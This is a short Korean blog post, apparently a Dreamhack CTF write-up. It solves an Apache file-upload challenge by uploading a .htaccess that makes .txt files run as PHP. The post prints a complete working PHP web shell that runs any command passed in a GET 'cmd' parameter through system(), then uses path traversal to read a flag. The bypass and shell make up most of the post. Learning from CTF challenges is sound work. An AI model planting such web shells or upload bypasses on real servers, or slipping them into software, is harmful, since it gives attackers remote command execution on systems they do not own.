본문 바로가기

Dreamhack

[Dreamhack] Apache htaccess 문제

먼저 .htaccess 파일에 AddType application/x-httpd-php .txt 이 내용을 추가해서 업로드를 한다.

그럼 설정이 바뀌었겠죠? 이제 .xxx 파일 업로드가 가능하다.

가지고 있던 웹 셸 코드를 .txt 확장자로 업로드를 해줍니다. 웹 셸 코드가 박스를 생성하기 때문에 거기에 ls를 쳐준다.

#webshell.txt
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>

flag는 최상위 경로에 있기 때문에 ../../../../../../../flag 이러면 플래그가 출력된다.